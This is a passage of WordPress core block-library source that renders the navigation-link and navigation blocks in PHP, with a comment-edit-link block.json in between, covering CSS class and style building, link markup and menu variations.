	} elseif ( isset( $context['style']['color']['text'] ) ) {
		$custom_text_color = $context['style']['color']['text'];
	}

	// If has text color.
	if ( ! is_null( $named_text_color ) ) {
		// Add the color class.
		array_push( $colors['css_classes'], 'has-text-color', sprintf( 'has-%s-color', $named_text_color ) );
	} elseif ( ! is_null( $custom_text_color ) ) {
		// Add the custom color inline style.
		$colors['css_classes'][]  = 'has-text-color';
		$colors['inline_styles'] .= sprintf( 'color: %s;', $custom_text_color );
	}

	// Background color.
	$named_background_color  = null;
	$custom_background_color = null;

	if ( $is_sub_menu && array_key_exists( 'customOverlayBackgroundColor', $context ) ) {
		$custom_background_color = $context['customOverlayBackgroundColor'];
	} elseif ( $is_sub_menu && array_key_exists( 'overlayBackgroundColor', $context ) ) {
		$named_background_color = $context['overlayBackgroundColor'];
	} elseif ( array_key_exists( 'customBackgroundColor', $context ) ) {
		$custom_background_color = $context['customBackgroundColor'];
	} elseif ( array_key_exists( 'backgroundColor', $context ) ) {
		$named_background_color = $context['backgroundColor'];
	} elseif ( isset( $context['style']['color']['background'] ) ) {
		$custom_background_color = $context['style']['color']['background'];
	}

	// If has background color.
	if ( ! is_null( $named_background_color ) ) {
		// Add the background-color class.
		array_push( $colors['css_classes'], 'has-background', sprintf( 'has-%s-background-color', $named_background_color ) );
	} elseif ( ! is_null( $custom_background_color ) ) {
		// Add the custom background-color inline style.
		$colors['css_classes'][]  = 'has-background';
		$colors['inline_styles'] .= sprintf( 'background-color: %s;', $custom_background_color );
	}

	return $colors;
}

/**
 * Build an array with CSS classes and inline styles defining the font sizes
 * which will be applied to the navigation markup in the front-end.
 *
 * @param  array $context Navigation block context.
 * @return array Font size CSS classes and inline styles.
 */
function block_core_navigation_link_build_css_font_sizes( $context ) {
	// CSS classes.
	$font_sizes = array(
		'css_classes'   => array(),
		'inline_styles' => '',
	);

	$has_named_font_size  = array_key_exists( 'fontSize', $context );
	$has_custom_font_size = isset( $context['style']['typography']['fontSize'] );

	if ( $has_named_font_size ) {
		// Add the font size class.
		$font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] );
	} elseif ( $has_custom_font_size ) {
		// Add the custom font size inline style.
		$font_sizes['inline_styles'] = sprintf(
			'font-size: %s;',
			wp_get_typography_font_size_value(
				array(
					'size' => $context['style']['typography']['fontSize'],
				)
			)
		);
	}

	return $font_sizes;
}

/**
 * Returns the top-level submenu SVG chevron icon.
 *
 * @return string
 */
function block_core_navigation_link_render_submenu_icon() {
	return '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>';
}

/**
 * Decodes a url if it's encoded, returning the same url if not.
 *
 * @param string $url The url to decode.
 *
 * @return string $url Returns the decoded url.
 */
function block_core_navigation_link_maybe_urldecode( $url ) {
	$is_url_encoded = false;
	$query          = parse_url( $url, PHP_URL_QUERY );
	$query_params   = wp_parse_args( $query );

	foreach ( $query_params as $query_param ) {
		$can_query_param_be_encoded = is_string( $query_param ) && ! empty( $query_param );
		if ( ! $can_query_param_be_encoded ) {
			continue;
		}
		if ( rawurldecode( $query_param ) !== $query_param ) {
			$is_url_encoded = true;
			break;
		}
	}

	if ( $is_url_encoded ) {
		return rawurldecode( $url );
	}

	return $url;
}


/**
 * Renders the `core/navigation-link` block.
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The saved content.
 * @param WP_Block $block      The parsed block.
 *
 * @return string Returns the post content with the legacy widget added.
 */
function render_block_core_navigation_link( $attributes, $content, $block ) {
	$navigation_link_has_id = isset( $attributes['id'] ) && is_numeric( $attributes['id'] );
	$is_post_type           = isset( $attributes['kind'] ) && 'post-type' === $attributes['kind'];
	$is_post_type           = $is_post_type || isset( $attributes['type'] ) && ( 'post' === $attributes['type'] || 'page' === $attributes['type'] );

	// Don't render the block's subtree if it is a draft or if the ID does not exist.
	if ( $is_post_type && $navigation_link_has_id ) {
		$post = get_post( $attributes['id'] );
		if ( ! $post || 'publish' !== $post->post_status ) {
			return '';
		}
	}

	// Don't render the block's subtree if it has no label.
	if ( empty( $attributes['label'] ) ) {
		return '';
	}

	$font_sizes      = block_core_navigation_link_build_css_font_sizes( $block->context );
	$classes         = array_merge(
		$font_sizes['css_classes']
	);
	$style_attribute = $font_sizes['inline_styles'];

	$css_classes = trim( implode( ' ', $classes ) );
	$has_submenu = count( $block->inner_blocks ) > 0;
	$kind        = empty( $attributes['kind'] ) ? 'post_type' : str_replace( '-', '_', $attributes['kind'] );
	$is_active   = ! empty( $attributes['id'] ) && get_queried_object_id() === (int) $attributes['id'] && ! empty( get_queried_object()->$kind );

	$wrapper_attributes = get_block_wrapper_attributes(
		array(
			'class' => $css_classes . ' wp-block-navigation-item' . ( $has_submenu ? ' has-child' : '' ) .
				( $is_active ? ' current-menu-item' : '' ),
			'style' => $style_attribute,
		)
	);
	$html               = '<li ' . $wrapper_attributes . '>' .
		'<a class="wp-block-navigation-item__content" ';

	// Start appending HTML attributes to anchor tag.
	if ( isset( $attributes['url'] ) ) {
		$html .= ' href="' . esc_url( block_core_navigation_link_maybe_urldecode( $attributes['url'] ) ) . '"';
	}

	if ( $is_active ) {
		$html .= ' aria-current="page"';
	}

	if ( isset( $attributes['opensInNewTab'] ) && true === $attributes['opensInNewTab'] ) {
		$html .= ' target="_blank"  ';
	}

	if ( isset( $attributes['rel'] ) ) {
		$html .= ' rel="' . esc_attr( $attributes['rel'] ) . '"';
	} elseif ( isset( $attributes['nofollow'] ) && $attributes['nofollow'] ) {
		$html .= ' rel="nofollow"';
	}

	if ( isset( $attributes['title'] ) ) {
		$html .= ' title="' . esc_attr( $attributes['title'] ) . '"';
	}

	// End appending HTML attributes to anchor tag.

	// Start anchor tag content.
	$html .= '>' .
		// Wrap title with span to isolate it from submenu icon.
		'<span class="wp-block-navigation-item__label">';

	if ( isset( $attributes['label'] ) ) {
		$html .= wp_kses_post( $attributes['label'] );
	}

	$html .= '</span>';

	// Add description if available.
	if ( ! empty( $attributes['description'] ) ) {
		$html .= '<span class="wp-block-navigation-item__description">';
		$html .= wp_kses_post( $attributes['description'] );
		$html .= '</span>';
	}

	$html .= '</a>';
	// End anchor tag content.

	if ( isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon'] && $has_submenu ) {
		// The submenu icon can be hidden by a CSS rule on the Navigation Block.
		$html .= '<span class="wp-block-navigation__submenu-icon">' . block_core_navigation_link_render_submenu_icon() . '</span>';
	}

	if ( $has_submenu ) {
		$inner_blocks_html = '';
		foreach ( $block->inner_blocks as $inner_block ) {
			$inner_blocks_html .= $inner_block->render();
		}

		$html .= sprintf(
			'<ul class="wp-block-navigation__submenu-container">%s</ul>',
			$inner_blocks_html
		);
	}

	$html .= '</li>';

	return $html;
}

/**
 * Returns a navigation link variation
 *
 * @param WP_Taxonomy|WP_Post_Type $entity post type or taxonomy entity.
 * @param string                   $kind string of value 'taxonomy' or 'post-type'.
 *
 * @return array
 */
function build_variation_for_navigation_link( $entity, $kind ) {
	$title       = '';
	$description = '';

	if ( property_exists( $entity->labels, 'item_link' ) ) {
		$title = $entity->labels->item_link;
	}
	if ( property_exists( $entity->labels, 'item_link_description' ) ) {
		$description = $entity->labels->item_link_description;
	}

	$variation = array(
		'name'        => $entity->name,
		'title'       => $title,
		'description' => $description,
		'attributes'  => array(
			'type' => $entity->name,
			'kind' => $kind,
		),
	);

	// Tweak some value for the variations.
	$variation_overrides = array(
		'post_tag'    => array(
			'name'       => 'tag',
			'attributes' => array(
				'type' => 'tag',
				'kind' => $kind,
			),
		),
		'post_format' => array(
			// The item_link and item_link_description for post formats is the
			// same as for tags, so need to be overridden.
			'title'       => __( 'Post Format Link' ),
			'description' => __( 'A link to a post format' ),
			'attributes'  => array(
				'type' => 'post_format',
				'kind' => $kind,
			),
		),
	);

	if ( array_key_exists( $entity->name, $variation_overrides ) ) {
		$variation = array_merge(
			$variation,
			$variation_overrides[ $entity->name ]
		);
	}

	return $variation;
}

/**
 * Filters the registered variations for a block type.
 * Returns the dynamically built variations for all post-types and taxonomies.
 *
 * @since 6.5.0
 *
 * @param array         $variations Array of registered variations for a block type.
 * @param WP_Block_Type $block_type The full block type object.
 */
function block_core_navigation_link_filter_variations( $variations, $block_type ) {
	if ( 'core/navigation-link' !== $block_type->name ) {
		return $variations;
	}

	$generated_variations = block_core_navigation_link_build_variations();
	return array_merge( $variations, $generated_variations );
}

/**
 * Returns an array of variations for the navigation link block.
 *
 * @since 6.5.0
 *
 * @return array
 */
function block_core_navigation_link_build_variations() {
	$post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' );
	$taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'objects' );

	/*
	 * Use two separate arrays as a way to order the variations in the UI.
	 * Known variations (like Post Link and Page Link) are added to the
	 * `built_ins` array. Variations for custom post types and taxonomies are
	 * added to the `variations` array and will always appear after `built-ins.
	 */
	$built_ins  = array();
	$variations = array();

	if ( $post_types ) {
		foreach ( $post_types as $post_type ) {
			$variation = build_variation_for_navigation_link( $post_type, 'post-type' );
			if ( $post_type->_builtin ) {
				$built_ins[] = $variation;
			} else {
				$variations[] = $variation;
			}
		}
	}
	if ( $taxonomies ) {
		foreach ( $taxonomies as $taxonomy ) {
			$variation = build_variation_for_navigation_link( $taxonomy, 'taxonomy' );
			if ( $taxonomy->_builtin ) {
				$built_ins[] = $variation;
			} else {
				$variations[] = $variation;
			}
		}
	}

	return array_merge( $built_ins, $variations );
}

/**
 * Registers the navigation link block.
 *
 * @uses render_block_core_navigation_link()
 * @throws WP_Error An WP_Error exception parsing the block definition.
 */
function register_block_core_navigation_link() {
	register_block_type_from_metadata(
		__DIR__ . '/navigation-link',
		array(
			'render_callback' => 'render_block_core_navigation_link',
		)
	);
}
add_action( 'init', 'register_block_core_navigation_link' );
/**
 * Creates all variations for post types / taxonomies dynamically (= each time when variations are requested).
 * Do not use variation_callback, to also account for unregistering post types/taxonomies later on.
 */
add_action( 'get_block_type_variations', 'block_core_navigation_link_filter_variations', 10, 2 );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comment-edit-link",
	"title": "Comment Edit Link",
	"category": "theme",
	"ancestor": [ "core/comment-template" ],
	"description": "Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.",
	"textdomain": "default",
	"usesContext": [ "commentId" ],
	"attributes": {
		"linkTarget": {
			"type": "string",
			"default": "_self"
		},
		"textAlign": {
			"type": "string"
		}
	},
	"supports": {
		"html": false,
		"color": {
			"link": true,
			"gradients": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": true,
				"link": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
<?php
/**
 * Server-side rendering of the `core/navigation` block.
 *
 * @package WordPress
 */

/**
 * Helper functions used to render the navigation block.
 */
class WP_Navigation_Block_Renderer {

	/**
	 * Used to determine whether or not a navigation has submenus.
	 */
	private static $has_submenus = false;

	/**
	 * Used to determine which blocks need an <li> wrapper.
	 *
	 * @var array
	 */
	private static $needs_list_item_wrapper = array(
		'core/site-title',
		'core/site-logo',
	);

	/**
	 * Keeps track of all the navigation names that have been seen.
	 *
	 * @var array
	 */
	private static $seen_menu_names = array();

	/**
	 * Returns whether or not this is responsive navigation.
	 *
	 * @param array $attributes The block attributes.
	 * @return bool Returns whether or not this is responsive navigation.
	 */
	private static function is_responsive( $attributes ) {
		/**
		 * This is for backwards compatibility after the `isResponsive` attribute was been removed.
		 */

		$has_old_responsive_attribute = ! empty( $attributes['isResponsive'] ) && $attributes['isResponsive'];
		return isset( $attributes['overlayMenu'] ) && 'never' !== $attributes['overlayMenu'] || $has_old_responsive_attribute;
	}

	/**
	 * Returns whether or not a navigation has a submenu.
	 *
	 * @param WP_Block_List $inner_blocks The list of inner blocks.
	 * @return bool Returns whether or not a navigation has a submenu and also sets the member variable.
	 */
	private static function has_submenus( $inner_blocks ) {
		if ( true === static::$has_submenus ) {
			return static::$has_submenus;
		}

		foreach ( $inner_blocks as $inner_block ) {
			// If this is a page list then work out if any of the pages have children.
			if ( 'core/page-list' === $inner_block->name ) {
				$all_pages = get_pages(
					array(
						'sort_column' => 'menu_order,post_title',
						'order'       => 'asc',
					)
				);
				foreach ( (array) $all_pages as $page ) {
					if ( $page->post_parent ) {
						static::$has_submenus = true;
						break;
					}
				}
			}
			// If this is a navigation submenu then we know we have submenus.
			if ( 'core/navigation-submenu' === $inner_block->name ) {
				static::$has_submenus = true;
				break;
			}
		}

		return static::$has_submenus;
	}

	/**
	 * Determine whether the navigation blocks is interactive.
	 *
	 * @param array         $attributes   The block attributes.
	 * @param WP_Block_List $inner_blocks The list of inner blocks.
	 * @return bool Returns whether or not to load the view script.
	 */
	private static function is_interactive( $attributes, $inner_blocks ) {
		$has_submenus       = static::has_submenus( $inner_blocks );
		$is_responsive_menu = static::is_responsive( $attributes );
		return ( $has_submenus && ( $attributes['openSubmenusOnClick'] || $attributes['showSubmenuIcon'] ) ) || $is_responsive_menu;
	}

	/**
	 * Returns whether or not a block needs a list item wrapper.
	 *
	 * @param WP_Block $block The block.
	 * @return bool Returns whether or not a block needs a list item wrapper.
	 */
	private static function does_block_need_a_list_item_wrapper( $block ) {

		/**
		 * Filter the list of blocks that need a list item wrapper.
		 *
		 * Affords the ability to customize which blocks need a list item wrapper when rendered
		 * within a core/navigation block.
		 * This is useful for blocks that are not list items but should be wrapped in a list
		 * item when used as a child of a navigation block.
		 *
		 * @since 6.5.0
		 *
		 * @param array $needs_list_item_wrapper The list of blocks that need a list item wrapper.
		 * @return array The list of blocks that need a list item wrapper.
		 */
		$needs_list_item_wrapper = apply_filters( 'block_core_navigation_listable_blocks', static::$needs_list_item_wrapper );

		return in_array( $block->name, $needs_list_item_wrapper, true );
	}

	/**
	 * Returns the markup for a single inner block.
	 *
	 * @param WP_Block $inner_block The inner block.
	 * @return string Returns the markup for a single inner block.
	 */
	private static function get_markup_for_inner_block( $inner_block ) {
		$inner_block_content = $inner_block->render();
		if ( ! empty( $inner_block_content ) ) {
			if ( static::does_block_need_a_list_item_wrapper( $inner_block ) ) {
				return '<li class="wp-block-navigation-item">' . $inner_block_content . '</li>';
			}
		}

		return $inner_block_content;
	}

	/**
	 * Returns the html for the inner blocks of the navigation block.
	 *
	 * @param array         $attributes   The block attributes.
	 * @param WP_Block_List $inner_blocks The list of inner blocks.
	 * @return string Returns the html for the inner blocks of the navigation block.
	 */
	private static function get_inner_blocks_html( $attributes, $inner_blocks ) {
		$has_submenus   = static::has_submenus( $inner_blocks );
		$is_interactive = static::is_interactive( $attributes, $inner_blocks );

		$style                = static::get_styles( $attributes );
		$class                = static::get_classes( $attributes );
		$container_attributes = get_block_wrapper_attributes(
			array(
				'class' => 'wp-block-navigation__container ' . $class,
				'style' => $style,
			)
		);

		$inner_blocks_html = '';
		$is_list_open      = false;

		foreach ( $inner_blocks as $inner_block ) {
			$inner_block_markup = static::get_markup_for_inner_block( $inner_block );
			$p                  = new WP_HTML_Tag_Processor( $inner_block_markup );
			$is_list_item       = $p->next_tag( 'LI' );

			if ( $is_list_item && ! $is_list_open ) {
				$is_list_open       = true;
				$inner_blocks_html .= sprintf(
					'<ul %1$s>',
					$container_attributes
				);
			}

			if ( ! $is_list_item && $is_list_open ) {
				$is_list_open       = false;
				$inner_blocks_html .= '</ul>';
			}

			$inner_blocks_html .= $inner_block_markup;
		}

		if ( $is_list_open ) {
			$inner_blocks_html .= '</ul>';
		}

		// Add directives to the submenu if needed.
		if ( $has_submenus && $is_interactive ) {
			$tags              = new WP_HTML_Tag_Processor( $inner_blocks_html );
			$inner_blocks_html = block_core_navigation_add_directives_to_submenu( $tags, $attributes );
		}

		return $inner_blocks_html;
	}

	/**
	 * Gets the inner blocks for the navigation block from the navigation post.
	 *
	 * @param array $attributes The block attributes.
	 * @return WP_Block_List Returns the inner blocks for the navigation block.
	 */
	private static function get_inner_blocks_from_navigation_post( $attributes ) {
		$navigation_post = get_post( $attributes['ref'] );
		if ( ! isset( $navigation_post ) ) {
			return new WP_Block_List( array(), $attributes );
		}

		// Only published posts are valid. If this is changed then a corresponding change
		// must also be implemented in `use-navigation-menu.js`.
		if ( 'publish' === $navigation_post->post_status ) {
			$parsed_blocks = parse_blocks( $navigation_post->post_content );

			// 'parse_blocks' includes a null block with '\n\n' as the content when
			// it encounters whitespace. This code strips it.
			$blocks = block_core_navigation_filter_out_empty_blocks( $parsed_blocks );

			if ( function_exists( 'set_ignored_hooked_blocks_metadata' ) ) {
				// Run Block Hooks algorithm to inject hooked blocks.
				$markup         = block_core_navigation_insert_hooked_blocks( $blocks, $navigation_post );
				$root_nav_block = parse_blocks( $markup )[0];

				$blocks = isset( $root_nav_block['innerBlocks'] ) ? $root_nav_block['innerBlocks'] : $blocks;
			}

			// TODO - this uses the full navigation block attributes for the
			// context which could be refined.
			return new WP_Block_List( $blocks, $attributes );
		}
	}

	/**
	 * Gets the inner blocks for the navigation block from the fallback.
	 *
	 * @param array $attributes The block attributes.
	 * @return WP_Block_List Returns the inner blocks for the navigation block.
	 */
	private static function get_inner_blocks_from_fallback( $attributes ) {
		$fallback_blocks = block_core_navigation_get_fallback_blocks();

		// Fallback my have been filtered so do basic test for validity.
		if ( empty( $fallback_blocks ) || ! is_array( $fallback_blocks ) ) {
			return new WP_Block_List( array(), $attributes );
		}

		return new WP_Block_List( $fallback_blocks, $attributes );
	}

	/**
	 * Gets the inner blocks for the navigation block.
	 *
	 * @param array    $attributes The block attributes.
	 * @param WP_Block $block The parsed block.
	 * @return WP_Block_List Returns the inner blocks for the navigation block.
	 */
	private static function get_inner_blocks( $attributes, $block ) {
		$inner_blocks = $block->inner_blocks;

		// Ensure that blocks saved with the legacy ref attribute name (navigationMenuId) continue to render.
		if ( array_key_exists( 'navigationMenuId', $attributes ) ) {
			$attributes['ref'] = $attributes['navigationMenuId'];
		}

		// If:
		// - the gutenberg plugin is active
		// - `__unstableLocation` is defined
		// - we have menu items at the defined location
		// - we don't have a relationship to a `wp_navigation` Post (via `ref`).
		// ...then create inner blocks from the classic menu assigned to that location.
		if (
			defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN &&
			array_key_exists( '__unstableLocation', $attributes ) &&
			! array_key_exists( 'ref', $attributes ) &&
			! empty( block_core_navigation_get_menu_items_at_location( $attributes['__unstableLocation'] ) )
		) {
			$inner_blocks = block_core_navigation_get_inner_blocks_from_unstable_location( $attributes );
		}

		// Load inner blocks from the navigation post.
		if ( array_key_exists( 'ref', $attributes ) ) {
			$inner_blocks = static::get_inner_blocks_from_navigation_post( $attributes );
		}

		// If there are no inner blocks then fallback to rendering an appropriate fallback.
		if ( empty( $inner_blocks ) ) {
			$inner_blocks = static::get_inner_blocks_from_fallback( $attributes );
		}

		/**
		 * Filter navigation block $inner_blocks.
		 * Allows modification of a navigation block menu items.
		 *
		 * @since 6.1.0
		 *
		 * @param \WP_Block_List $inner_blocks
		 */
		$inner_blocks = apply_filters( 'block_core_navigation_render_inner_blocks', $inner_blocks );

		$post_ids = block_core_navigation_get_post_ids( $inner_blocks );
		if ( $post_ids ) {
			_prime_post_caches( $post_ids, false, false );
		}

		return $inner_blocks;
	}

	/**
	 * Gets the name of the current navigation, if it has one.
	 *
	 * @param array $attributes The block attributes.
	 * @return string Returns the name of the navigation.
	 */
	private static function get_navigation_name( $attributes ) {

		$navigation_name = $attributes['ariaLabel'] ?? '';

		// Load the navigation post.
		if ( array_key_exists( 'ref', $attributes ) ) {
			$navigation_post = get_post( $attributes['ref'] );
			if ( ! isset( $navigation_post ) ) {
				return $navigation_name;
			}

			// Only published posts are valid. If this is changed then a corresponding change
			// must also be implemented in `use-navigation-menu.js`.
			if ( 'publish' === $navigation_post->post_status ) {
				$navigation_name = $navigation_post->post_title;

				// This is used to count the number of times a navigation name has been seen,
				// so that we can ensure every navigation has a unique id.
				if ( isset( static::$seen_menu_names[ $navigation_name ] ) ) {
					++static::$seen_menu_names[ $navigation_name ];
				} else {
					static::$seen_menu_names[ $navigation_name ] = 1;
				}
			}
		}

		return $navigation_name;
	}

	/**
	 * Returns the layout class for the navigation block.
	 *
	 * @param array $attributes The block attributes.
	 * @return string Returns the layout class for the navigation block.
	 */
	private static function get_layout_class( $attributes ) {
		$layout_justification = array(
			'left'          => 'items-justified-left',
			'right'         => 'items-justified-right',
			'center'        => 'items-justified-center',
			'space-between' => 'items-justified-space-between',
		);

		$layout_class = '';
		if (
			isset( $attributes['layout']['justifyContent'] ) &&
			isset( $layout_justification[ $attributes['layout']['justifyContent'] ] )
		) {
			$layout_class .= $layout_justification[ $attributes['layout']['justifyContent'] ];
		}
		if ( isset( $attributes['layout']['orientation'] ) && 'vertical' === $attributes['layout']['orientation'] ) {
			$layout_class .= ' is-vertical';
		}

		if ( isset( $attributes['layout']['flexWrap'] ) && 'nowrap' === $attributes['layout']['flexWrap'] ) {
			$layout_class .= ' no-wrap';
		}
		return $layout_class;
	}

	/**
	 * Return classes for the navigation block.
	 *
	 * @param array $attributes The block attributes.
	 * @return string Returns the classes for the navigation block.
	 */
	private static function get_classes( $attributes ) {
		// Restore legacy classnames for submenu positioning.
		$layout_class       = static::get_layout_class( $attributes );
		$colors             = block_core_navigation_build_css_colors( $attributes );
		$font_sizes         = block_core_navigation_build_css_font_sizes( $attributes );
		$is_responsive_menu = static::is_responsive( $attributes );

		// Manually add block support text decoration as CSS class.
		$text_decoration       = $attributes['style']['typography']['textDecoration'] ?? null;
		$text_decoration_class = sprintf( 'has-text-decoration-%s', $text_decoration );

		$classes = array_merge(
			$colors['css_classes'],
			$font_sizes['css_classes'],
			$is_responsive_menu ? array( 'is-responsive' ) : array(),
			$layout_class ? array( $layout_class ) : array(),
			$text_decoration ? array( $text_decoration_class ) : array()
		);
		return implode( ' ', $classes );
	}

	/**
	 * Get styles for the navigation block.
	 *
	 * @param array $attributes The block attributes.
	 * @return string Returns the styles for the navigation block.
	 */
	private static function get_styles( $attributes ) {
		$colors       = block_core_navigation_build_css_colors( $attributes );
		$font_sizes   = block_core_navigation_build_css_font_sizes( $attributes );
		$block_styles = isset( $attributes['styles'] ) ? $attributes['styles'] : '';
		return $block_styles . $colors['inline_styles'] . $font_sizes['inline_styles'];
	}

	/**
	 * Get the responsive container markup
	 *
	 * @param array         $attributes The block attributes.
	 * @param WP_Block_List $inner_blocks The list of inner blocks.
	 * @param string        $inner_blocks_html The markup for the inner blocks.
	 * @return string Returns the container markup.
	 */
	private static function get_responsive_container_markup( $attributes, $inner_blocks, $inner_blocks_html ) {
		$is_interactive  = static::is_interactive( $attributes, $inner_blocks );
		$colors          = block_core_navigation_build_css_colors( $attributes );
		$modal_unique_id = wp_unique_id( 'modal-' );

		$is_hidden_by_default = isset( $attributes['overlayMenu'] ) && 'always' === $attributes['overlayMenu'];

		$responsive_container_classes = array(
			'wp-block-navigation__responsive-container',
			$is_hidden_by_default ? 'hidden-by-default' : '',
			implode( ' ', $colors['overlay_css_classes'] ),
		);
		$open_button_classes          = array(
			'wp-block-navigation__responsive-container-open',
			$is_hidden_by_default ? 'always-shown' : '',
		);

		$should_display_icon_label = isset( $attributes['hasIcon'] ) && true === $attributes['hasIcon'];
		$toggle_button_icon        = '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><rect x="4" y="7.5" width="16" height="1.5" /><rect x="4" y="15" width="16" height="1.5" /></svg>';
		if ( isset( $attributes['icon'] ) ) {
			if ( 'menu' === $attributes['icon'] ) {
				$toggle_button_icon = '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M5 5v1.5h14V5H5zm0 7.8h14v-1.5H5v1.5zM5 19h14v-1.5H5V19z" /></svg>';
			}
		}
		$toggle_button_content       = $should_display_icon_label ? $toggle_button_icon : __( 'Menu' );
		$toggle_close_button_icon    = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"></path></svg>';
		$toggle_close_button_content = $should_display_icon_label ? $toggle_close_button_icon : __( 'Close' );
		$toggle_aria_label_open      = $should_display_icon_label ? 'aria-label="' . __( 'Open menu' ) . '"' : ''; // Open button label.
		$toggle_aria_label_close     = $should_display_icon_label ? 'aria-label="' . __( 'Close menu' ) . '"' : ''; // Close button label.

		// Add Interactivity API directives to the markup if needed.
		$open_button_directives          = '';
		$responsive_container_directives = '';
		$responsive_dialog_directives    = '';
		$close_button_directives         = '';
		if ( $is_interactive ) {
			$open_button_directives                  = '
				data-wp-on--click="actions.openMenuOnClick"
				data-wp-on--keydown="actions.handleMenuKeydown"
			';
			$responsive_container_directives         = '
				data-wp-class--has-modal-open="state.isMenuOpen"
				data-wp-class--is-menu-open="state.isMenuOpen"
				data-wp-watch="callbacks.initMenu"
				data-wp-on--keydown="actions.handleMenuKeydown"
				data-wp-on--focusout="actions.handleMenuFocusout"
				tabindex="-1"
			';
			$responsive_dialog_directives            = '
				data-wp-bind--aria-modal="state.ariaModal"
				data-wp-bind--aria-label="state.ariaLabel"
				data-wp-bind--role="state.roleAttribute"
			';
			$close_button_directives                 = '
				data-wp-on--click="actions.closeMenuOnClick"
			';
			$responsive_container_content_directives = '
				data-wp-watch="callbacks.focusFirstElement"
			';
		}

		return sprintf(
			'<button aria-haspopup="dialog" %3$s class="%6$s" %10$s>%8$s</button>
				<div class="%5$s" style="%7$s" id="%1$s" %11$s>
					<div class="wp-block-navigation__responsive-close" tabindex="-1">
						<div class="wp-block-navigation__responsive-dialog" %12$s>
							<button %4$s class="wp-block-navigation__responsive-container-close" %13$s>%9$s</button>
							<div class="wp-block-navigation__responsive-container-content" %14$s id="%1$s-content">
								%2$s
							</div>
						</div>
					</div>
				</div>',
			esc_attr( $modal_unique_id ),
			$inner_blocks_html,
			$toggle_aria_label_open,
			$toggle_aria_label_close,
			esc_attr( implode( ' ', $responsive_container_classes ) ),
			esc_attr( implode( ' ', $open_button_classes ) ),
			esc_attr( safecss_filter_attr( $colors['overlay_inline_styles'] ) ),
			$toggle_button_content,
			$toggle_close_button_content,
			$open_button_directives,
			$responsive_container_directives,
			$responsive_dialog_directives,
			$close_button_directives,
			$responsive_container_content_directives
		);
	}

	/**
	 * Get the wrapper attributes
	 *
	 * @param array         $attributes    The block attributes.
	 * @param WP_Block_List $inner_blocks  A list of inner blocks.
	 * @return string Returns the navigation block markup.
	 */
	private static function get_nav_wrapper_attributes( $attributes, $inner_blocks ) {
		$nav_menu_name      = static::get_unique_navigation_name( $attributes );
		$is_interactive     = static::is_interactive( $attributes, $inner_blocks );
		$is_responsive_menu = static::is_responsive( $attributes );
		$style              = static::get_styles( $attributes );
		$class              = static::get_classes( $attributes );
		$wrapper_attributes = get_block_wrapper_attributes(
			array(
				'class'      => $class,
				'style'      => $style,
				'aria-label' => $nav_menu_name,
			)
		);

		if ( $is_responsive_menu ) {
			$nav_element_directives = static::get_nav_element_directives( $is_interactive );
			$wrapper_attributes    .= ' ' . $nav_element_directives;
		}

		return $wrapper_attributes;
	}

	/**
	 * Gets the nav element directives.
	 *
	 * @param bool $is_interactive Whether the block is interactive.
	 * @return string the directives for the navigation element.
	 */
	private static function get_nav_element_directives( $is_interactive ) {
		if ( ! $is_interactive ) {
			return '';
		}
		// When adding to this array be mindful of security concerns.
		$nav_element_context    = wp_interactivity_data_wp_context(
			array(
				'overlayOpenedBy' => array(
					'click' => false,
					'hover' => false,
					'focus' => false,
				),
				'type'            => 'overlay',
				'roleAttribute'   => '',
				'ariaLabel'       => __( 'Menu' ),
			)
		);
		$nav_element_directives = '
		 data-wp-interactive="core/navigation" '
		. $nav_element_context;

		return $nav_element_directives;
	}

	/**
	 * Handle view script module loading.
	 *
	 * @param array         $attributes   The block attributes.
	 * @param WP_Block      $block        The parsed block.
	 * @param WP_Block_List $inner_blocks The list of inner blocks.
	 */
	private static function handle_view_script_module_loading( $attributes, $block, $inner_blocks ) {
		if ( static::is_interactive( $attributes, $inner_blocks ) ) {
			$suffix = wp_scripts_get_suffix();
			if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) {
				$module_url = gutenberg_url( '/build/interactivity/navigation.min.js' );
			}

			wp_register_script_module(
				'@wordpress/block-library/navigation',
				isset( $module_url ) ? $module_url : includes_url( "blocks/navigation/view{$suffix}.js" ),
				array( '@wordpress/interactivity' ),
				defined( 'GUTENBERG_VERSION' ) ? GUTENBERG_VERSION : get_bloginfo( 'version' )
			);
			wp_enqueue_script_module( '@wordpress/block-library/navigation' );
		}
	}

	/**
	 * Returns the markup for the navigation block.
	 *
	 * @param array         $attributes The block attributes.
	 * @param WP_Block_List $inner_blocks The list of inner blocks.
	 * @return string Returns the navigation wrapper markup.
	 */
	private static function get_wrapper_markup( $attributes, $inner_blocks ) {
		$inner_blocks_html = static::get_inner_blocks_html( $attributes, $inner_blocks );
		if ( static::is_responsive( $attributes ) ) {
			return static::get_responsive_container_markup( $attributes, $inner_blocks, $inner_blocks_html );
		}
		return $inner_blocks_html;
